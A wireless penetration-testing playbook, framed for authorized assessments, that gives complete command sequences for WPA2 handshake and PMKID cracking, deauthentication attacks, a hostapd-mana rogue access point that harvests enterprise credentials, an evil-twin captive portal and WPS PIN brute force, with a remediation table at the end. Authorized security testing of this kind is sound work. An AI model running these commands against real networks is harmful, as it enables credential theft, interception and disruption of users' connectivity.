Performing Wireless Network Penetration Test

Overview

Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.

When to Use

• When conducting security assessments that involve performing wireless network penetration test
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
• Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
• Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
• Physical proximity to target wireless networks
• GPS receiver for mapping (optional)

Phase 1 — Wireless Reconnaissance

Enable Monitor Mode

# Check wireless interfaces
iwconfig
airmon-ng

# Kill interfering processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon

# Verify monitor mode
iwconfig wlan0mon

Passive Scanning

# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan

# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan

# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan

# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501

Network Inventory

SSID	BSSID	Channel	Encryption	Clients	Signal
CorpWiFi	AA:BB:CC:DD:EE:01	6	WPA2-Enterprise	45	-55dBm
CorpGuest	AA:BB:CC:DD:EE:02	11	WPA2-PSK	12	-60dBm
PrinterNet	AA:BB:CC:DD:EE:03	1	WEP	3	-70dBm
HiddenSSID	AA:BB:CC:DD:EE:04	36	WPA2-PSK	8	-65dBm

Phase 2 — WPA2-PSK Attack

Capture 4-Way Handshake

# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output

Crack WPA2 Key

# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt

Phase 3 — WPA2-Enterprise Attack

# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt

Phase 4 — Evil Twin Attack

# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon

# Within Bettercap:
wifi.recon on
wifi.ap

# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1

# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon

Phase 5 — Additional Tests

Rogue AP Detection

# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs

# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings

Client Isolation Testing

# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24

# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24

# Test VLAN hopping
# If guest network is not properly segmented from corporate

WPS Attack

# Check for WPS-enabled APs
wash -i wlan0mon

# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv

# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv

Findings Template

Finding	Severity	CVSS	Remediation
WPA2-PSK with weak passphrase	High	8.1	Use 20+ char passphrase or migrate to WPA2-Enterprise
WEP encryption on printer network	Critical	9.1	Upgrade to WPA2/WPA3, segment printer VLAN
WPS enabled on guest AP	Medium	5.3	Disable WPS on all access points
No client isolation on guest	High	7.5	Enable AP isolation and VLAN segmentation
Corporate SSID broadcasts on rogue AP	High	8.1	Deploy WIDS/WIPS, implement 802.1X with cert validation
EAP-MSCHAP without cert pinning	High	7.5	Enforce server certificate validation on all clients

References

• Aircrack-ng Documentation: https://www.aircrack-ng.org/doku.php
• CISA Aircrack-ng: https://www.cisa.gov/resources-tools/services/aircrack-ng
• WiFi Alliance WPA3 Specification: https://www.wi-fi.org/discover-wi-fi/security
• NIST SP 800-153: Guidelines for Securing WLANs
• Hashcat WPA modes: https://hashcat.net/wiki/doku.php?id=example_hashes